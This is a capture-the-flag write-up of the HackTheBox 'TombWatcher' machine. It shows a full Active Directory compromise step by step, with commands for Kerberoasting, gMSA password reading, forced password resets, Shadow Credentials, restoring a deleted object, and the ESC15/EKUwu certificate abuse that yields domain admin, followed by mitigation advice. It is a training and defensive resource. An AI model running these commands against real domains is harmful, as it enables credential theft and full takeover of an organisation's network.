TombWatcher

Launch TombWatcher and follow along on HTB!

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Introduction

avatarTombwatcher serves a straight forward demonstration for a Active Directory attack chain for Lateral Movement, where you discover deleted Active Directory Objects which contains permissions required to attack an Active Directory Certificate Services instance. Strong candidate for practicing bloodyAD for recon, enumeration, and privilege escalation. Followed with Certipy usages for abusing ESC15.

Recon Phase

hey, assumed breach, we start off with credentials henry:H3nry_987TGV!. Our $TARGET spawned at 10.10.11.72.

Let’s begin with an NMap scan on our $TARGET.

nmap -Pn -p- -A -n -T4 -vv $TARGET -oN /workspace/recon/10.10.11.72.nmap

Walking through the NMap output– 20260107104149 20260107104149

  1. Typical Active Directory environment services, with a leaked DC01.tombwatcher.htb domain and host name.
  2. DNS and IIS services open

20260107104626 20260107104626

  1. SMB and LDAP is open
  2. Clock skew exists, account for this with any Kerberos authentication
  3. Odd SAN, showing an OID that indicates an object who constructed the subject information for this certificate, usually you would see some indicator of a object name.

20260107105410 20260107105410

  1. LDAP global catalog is open

20260107105842 20260107105842

  1. WinRM is open
  2. Various RPC ports are open

In summary, we’re looking at a Domain Controller, as $TARGET is running many typical services and the host is named DC01.

First we should fix the clock skew situation, as we will likely need to account for Kerberos authentication mechanisms. Ensure our starting credentials for Henry are valid. Begin scanning for Bloodhound to find our path, and do a quick review on access permissions for Henry.

I’ll use faketime to change my shell’s time and fix the clock skew

faketime -f '+4h' /bin/zsh

Then add our $TARGET to /etc/hosts

echo '10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb DC01' >> /etc/hosts

Our host is ready, moving on.

Tasks

  • Access Permissions for Henry
  • View IIS Website
  • Review Bloodhound Data

Access Permissions for Henry

First we can validate our credentials work using NetExec.

nxc smb DC01  -u henry -p 'H3nry_987TGV!'

20260107111001 20260107111001 It’s valid, also SMB signing is enabled.

We can check WinRM, and LDAP here

nxc winrm DC01  -u henry -p 'H3nry_987TGV!'
nxc ldap DC01  -u henry -p 'H3nry_987TGV!'

20260107111319 20260107111319 As expecting WinRM is unavailable, but LDAP is allowed for Henry.

Check for any usable SMB shares and readable files using spider_plus module.

nxc smb DC01  -u henry -p 'H3nry_987TGV!' --shares

20260107111511 20260107111511

nxc smb DC01  -u henry -p 'H3nry_987TGV!' -M spider_plus
cat /root/.nxc/modules/nxc_spider_plus/10.10.11.72.json | jq '.'

20260107111721 20260107111721 Read-only shares and nothing particularly interesting to read. Should be good enough for here, we can dig more after if required. We can check out the website now.

Tasks

  • Access Permissions for Henry
  • View IIS Website
  • Review Bloodhound Data

View IIS Website

Visiting http://tombwatcher.htb, and http://DC01.tombwatcher.htb 20260107111933 20260107111933 Both sites result in the base IIS page, so I believe it’s safe to ignore. Move on to Bloodhound and it’s likely more interesting.

If we need to come back and dig deeper, we can start fuzzing for files and additional domains.

Tasks

  • Access Permissions for Henry
  • View IIS Website
  • Review Bloodhound Data

Review Bloodhound Data

I’ll be using RustHound-CE and BloodHound.py for gathering and ingesting into Bloodhound.

Both collectors gather different sets of information, and I’ll let Bloodhound-CE to sort through duplicate data. Especially when we have Active Directory Certificate Services involved, as RustHound-CE will bring Certificate Templates into the ingestion.

nxc ldap tombwatcher.htb -u $USER -p $PASSWORD --bloodhound -c all --dns-server 10.10.11.72
rusthound-ce -d tombwatcher.htb -u $USER -p $PASSWORD -z -c All -n 10.10.11.72

20260107114410 20260107114410 20260107115358 20260107115358 Now import these archives into Bloodhound. 20260107115724 20260107115724 We got our data, we can begin reviewing the domain, key targets, and what Henry has for access permissions.

Initially, we see Henry has WriteSPN ACE over Alfred user account. 20260107120050 20260107120050

Make sure you mark Henry as owned.

Viewing Enrollment rights on published certificate templates, and oddity presents itself as an unresolved SID. 20260107120948 20260107120948 This tells me Active Directory was unable to resolve SID S-1-5-21-1392491010-1358638721-2126982587-1111, but it is able to Enroll a Webserver certificate.

Continuing on from Henry, you will discover a long chain of Lateral Movement techniques to reach eventually reach user John with GenericAll over OU=ADCS,DC=TOMBWATCHER,DC=HTB which.. doesn’t have anything within that OU.

John is a memberOf Remote Management Users so it is desirable to own that object so we can start using WinRM. 20260107121604 20260107121604 We can summarize this attack chain here.

  1. Henry can WriteSPN over Alfred, leading to a potential Kerberoasting attack. Assuming Alfred has a weak password, we can crack it with hashcat.
  2. Alfred can AddSelf to Infrastructure group, which has desirable permissions we will use in (3).
  3. Infrastructure members can ReadGMSAPassword to ansible_dev$. This will provide an NTLM hash.
  4. ansible_dev$ has permission to ForceChangePassword over sam user account.
  5. sam user account can WriteOwner to john user account - which we will want to write ourselves as the owner to gain FullControl over such object.
  6. john is memberOf Remote Management Users group, which will allow us to use WinRM.

So we have a fun attack chain to laterally move around the domain and gain ownership of a few targets.

Notably, each user does not have any additional interesting access to other objects. No interesting certificate enrollments either, except ansible_dev$ which gives access to a separate set of uninteresting Certificate Templates.

Tasks

  • Access Permissions for Henry
  • View IIS Website
  • Review Bloodhound Data
  • Enact AD Attack Chain
  • Access DC01 as john

User Flag

We can string together a sizeable attack chain using bloodyAD and NetExec tools to own the previously mentioned targets.

Tasks

  • Enact AD Attack Chain
  • Access DC01 as john

Enact AD Attack Chain

Let’s get started. With Henry we can use bloodyAD to write a servicePrincipalName value to alfred, Kerberoasting alfred, then remove the servicePrincipalName value. We will use http/meow for our servicePrincipalName.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD set object alfred servicePrincipalName -v 'http/meow'
# [+] alfred's servicePrincipalName has been updated
nxc ldap tombwatcher.htb -u $USER -p $PASSWORD --kerberoasting spn_alfred.hash

20260107123438 20260107123438

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD set object alfred servicePrincipalName
# [+] alfred's servicePrincipalName has been updated

All good! Let’s crack that hash.

hashcat spn_alfred.hash ~/lists/extras/rockyou.txt

20260106065708 20260106065708 Got a set of creds, alfred:<REDACTED>. Setting up alfred as our new $USER for the next step.

With alfred, lets add ourselved to Infrastructure group so we can read ansible_dev$’s Group Managed Service Account password.

Using bloodyAD for modifying Infrastructure object.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD add groupMember Infrastructure $USER
# [+] alfred added to Infrastructure

Using bloodyAD to read ansible_dev$ gmsa password.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p $PASSWORD get object ansible_dev$ --attr msDS-ManagedPassword
# distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
# msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:2669<REDACTED>697b

We can add ansible_dev$:2669<REDACTED>697b to our credentials list.

Switching $USER to ansible_dev$, then we can enact forcePasswordChange against sam to CatPassword123@. We’ll use bloodyAD for this object modification.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p :2669<REDACTED>697b set password sam CatPassword123@
# [+] Password changed successfully!

Switch $USER context to sam, we will write sam as the owner of john, giving ourselves GenericAll and enact a Shadow Credential attack as to not change john’s password.

Using bloodyAD for our object modification again.

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p CatPassword123@ set owner john $USER
# [+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p CatPassword123@ add genericAll john $USER
# [+] sam has now GenericAll on john

Gaining Shadow Credential using Certipy.

certipy shadow auto -target tombwatcher.htb -dc-ip 10.10.11.72 -username [email protected] -p CatPassword123@ -account john

20260107125720 20260107125720 Like that, we got our NTLM hash for john:752f<REDACTED>fb19.

Switch $USER context to john.

Tasks

  • Enact AD Attack Chain
  • Access DC01 as john

Access DC01 as john

Since we’re in Remote Management Users group, we can log into DC01 using evil-winrm.

evil-winrm -i $TARGET -u $USER -H $NT_HASH

20260107130018 20260107130018 Getting that user flag.

cd ..\Desktop
type user.txt
; a353<REDACTED>9e09

Nice! That was a lot of movement but we now own john and all the user accounts that led us to this point. Moving forward, we can enumerate for our path to Administrator.

Tasks

  • Enact AD Attack Chain
  • Access DC01 as john
  • Enumerate DC01

Root Flag

There is a lot to cover for enumeration here, so let’s get started (also, I’ll summarize the results and help you find the path for root flag).

Tasks

  • Enumerate DC01

Enumerate DC01

Using john to walk through the filesystem, you will not find anything of interest.

Additionally, if we use Certipy to enumerate Active Directory Certificate Services with any of our owned accounts, you will again, not find anything vulnerable vectors.

But there is a peculiar artifact existing in the WebServer template.

certipy find -u [email protected] -hashes :$NT_HASH -dc-ip 10.10.11.72 -enabled -text

20260107140834 20260107140834 It’s not resolving the SID here, we’ve seen this earlier.

Let’s recap.

A few loose ends still exist, but the end means are not yet clear.

  • john has GenericAll over OU=ADCS,DC=TOMBWATCHER,DC=HTB
  • OU=ADCS,DC=TOMBWATCHER,DC=HTB has no child objects I think we can safely assume ADCS OU does have some purpose for Active Directory Certificate Services, but it feels like there is a missing piece connecting those two objects.

Think back to earlier, where we seen that unresolved SID that can enroll WebServer Certificate Templates? There are a number of reasons why Active Directory may not be able to resolve that SID. Adding to our investigation, our NMap scan also indicated an unresolvable OID to indicate the proper Subject Alternative Name.

We can safely assume the SID involved ties all this together, and that object was likely deleted.

Active Directory Groups#AD Recycle Bin is a feature to allow administrators to recovery deleted objects. It is an optional feature that is irreversible once enabled in a domain.

We can see if we have read access on the CN=Deleted Objects,DC=tombwatcher,DC=htb container with bloodyAD.

Two requirements are needed to show deleted, tombstones, and recycled objects.

  • LIST_CHILD right on Deleted Objects container
  • OID 1.2.840.113556.1.4.2064

We will ask bloodyAD to check our rights from the above requirements.

bloodyAD --host $TARGET -d $DOMAIN -u $USER -p $PASSWORD get writable --include-del

20260107172332 20260107172332 A few important notes from what we see here.

  1. We have WRITE access to the CN=Deleted Objects,DC=tombwatcher,DC=htb container.
  2. We have CREATE_CHILD right for OU=ADCS,DC=tombwatcher,DC=htb, this is significant because it is a requirement for restoring an object to its parent, which we will see later.
  3. We have WRITE right to three instances of cert_admin, however if you look closely - they have the same DN, but different IDs.

We can view deleted objects and display their objectSID to determine which cert_admin object we want, and what their LastKnownParent is.

bloodyAD -u $USER -d $DOMAIN -p $PASSWORD --host $TARGET get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name,objectSID,LastKnownParent

20260107173012 20260107173012 This tells us why we need to own OU=ADCS,DC=TOMBWATCHER,DC=HTB, as our permissions will inherit down to its child objects. Once we restore the correct cert_admin, we will also hold full control over that object.

objectSID of S-1-5-21-1392491010-1358638721-2126982587-1111 maps to the correct cert_admin we need that will be able to enroll a WebServer certificate.

Finally, to complete the ideal path to compromising this Domain Controller, the WebServer certificate is from Schema Version 1. This allows us to inject arbitrary Application Policies into the certificate when issued, which leads to either (1) a direct impersonation via Schannel, or (2) Kerberos impersonation via Enrollment Agent.

This attack path was dubbed “EKUwu”, but can also be referred to as CVE-2024-49019.

We can see our path. Now we need to execute it.

Tasks

  • Enumerate DC01
  • Restore cert_admin
  • Execute EKUwu Attack

Restore cert_admin

Once we restore cert_admin with bloodyAD, we can view the WebServer certificate and verify it resolves the SID under Enrollment Rights.
If it properly resolves, we can move forward with requesting the WebServer certificate and apply the Application Policy Certificate Request Agent. Beyond that, we can use our new certificae to request another certificate on behalf of the domain administrator.

The cleanup script may delete cert_admin at any time, so backtrack to restoring this object and continue forward when it happens.

Setting john as owner of OU=ADCS,DC=TOMBWATCHER,DC=HTB (if required)

loodyAD --host dc01 -d tombwatcher.htb -u $USER -p :$NT_HASH set owner OU=ADCS,DC=TOMBWATCHER,DC=HTB $USER

Using bloodyAD, restore cert_admin

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p :$NT_HASH set restore S-1-5-21-1392491010-1358638721-2126982587-1111
# [+] S-1-5-21-1392491010-1358638721-2126982587-1111 has been restored successfully under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb

Set cert_admin password to CatPassword123@

bloodyAD --host dc01 -d tombwatcher.htb -u $USER -p :$NT_HASH set password cert_admin CatPassword123@
# [+] Password changed successfully!

Switching context of $USER to cert_admin.

Use Certipy to check WebServer certificate template

certipy find -u [email protected] -p CatPassword123@ -dc-ip 10.10.11.72 -vulnerable -enabled -text

20260107202221 20260107202221

  1. We restored the correct object, as cert_admin now resolves properly.
  2. We see Certipy notifying us of the now-vulnerable template with ESC15.

We can begin the EKUwu attack.

Tasks

  • Enumerate DC01
  • Restore cert_admin
  • Execute EKUwu Attack

Execute EKUwu Attack

Request a certificate as cert_admin for WebServer but change the Application Policy to Certificate Request Agent. This vulnerable certificate template will incorrectly include the Certificate Request Agent application policy, which in turn will allow our user account to request a certificate on behalf of another user.

certipy req -u [email protected] -p CatPassword123@ -ca tombwatcher-CA-1 -template WebServer -dc-ip 10.10.11.72 -application-policies 'Certificate Request Agent'

20260107202741 20260107202741 Successfully got our initial certificate. We will use this one to request another against the User template, on behalf of domain administrator.

req -u [email protected] -p CatPassword123@ -ca tombwatcher-CA-1 -target DC01.tombwatcher.htb -template User -on-behalf-of "tombwatcher\Administrator" -dc-ip 10.10.11.72 -pfx cert_admin.pfx

20260107203751 20260107203751 We now have a certificate that identifies us as domain administrator. Let’s use this to authenticate as administrator with Certipy, retrieve their NTLM hash, and use that to log in and grab the root flag.

certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.11.72

20260107204804 20260107204804 Note our domain admin credentials administrator:f61d<REDACTED>e5fc

Finally, let’s log in using evil-winrm and get that flag.

evil-winrm -i $TARGET -u administrator -H f61d<REDACTED>e5fc
cat ..\Desktop\root.txt
# 2da9<REDACTED>a20a

Congrats! We completed Tombwatcher.

Conclusion/Mitigations

AD attack chain

The entire AD attack chain has multiple vulnerabilities, but some permissions might have legitimate business use case. So I will highlight a few changes I would recommend, to help ‘break up’ this chain from permissions that I think are unneccesary.

Insecure Access Control - WriteSPN

henry user account is able to set the servicePrincipalName attribute of alfred user account. This enabled a Kerberoasting attacking to gain the password of alfred.

Removing the ACE that provides henry with write access on alfred is recommended. Restricting these permissions to a dedicated service-account group is advisable.

Weak Active Directory Passwords

alfred was susceptible to a simple offline password attack as their password existed in common wordlists.

Implementing and enforcing a password policy on the domain would help mitigate this attack path for user accounts.

Insecure Access Control - WriteOwner

sam user account was identified to have WriteOwner privileges over john user account. john in this instance is treated as a high-value object due to their permissions over OU=ADCS. This enabled full control over john’s security descriptors, effectively bypassing any existing protection mechanisms.

Removing the offending WriteOwner right over john user account object is recommended. Restricting WriteOwner rights to a minimal set of trusted administrator accounts is recommended to continue any business purpose of such permissions.

EKUwu

aka CVE-2024-49019, an attack on a vulnerable and unpatched CA. We are able to supply arbitary Application Policies into the certificate request. Ideally we provide Client Authentication or Certificate Request Agent to allow us to impersonate any user within the domain.

Initially, applying Microsoft security updates addressing CVE-2024-49019 on all CA servers would address this vulnerability. Furthermore, upgrading V1 templates, restricting enrollment for V1 templates, and establihsing a restricted environment for enrollment rights based on least-privileged basis would be the ideal environment to mitigate this vulnerability.

Establishing additional processes for sensitive or higher-impact templates is desirable for secure certificate management.

References

ResearchDescription
Certipy Privilege EscalationCollection of Privilege Escalation exploits against Active Directory Certificate Services
AD Recycle BinMicrosoft documentation on AD Recycle Bin
bloodyAD User GuideUser Guide reference on bloodyAD
SwissKey AD Recycle Bin GuideConcise summary of enumerating AD Recycle Bin
PKI Terminology by CertipyPKI reference and summary
CVE-2024-49019 on NVDEKUwu vulnerability
Tools UsedDescription
BloodhoundGraphical representation for an Active Directory domain
BloodHound.pyCollector for Bloodhound, included in NetExec
bloodyADActive Directory Privilege Escalation framework tool
CertipyActive Directory Certificate Services tool for enumeration and abuse
evil-winrmWinRM shell
hashcatAdvanced password recovery tool
NetExecNetwork service exploitation tool, quickly automating network security
NMapNetwork discovery and auditing tool
RustHound-CECollector for Bloodhound, useful for certificate related domain objects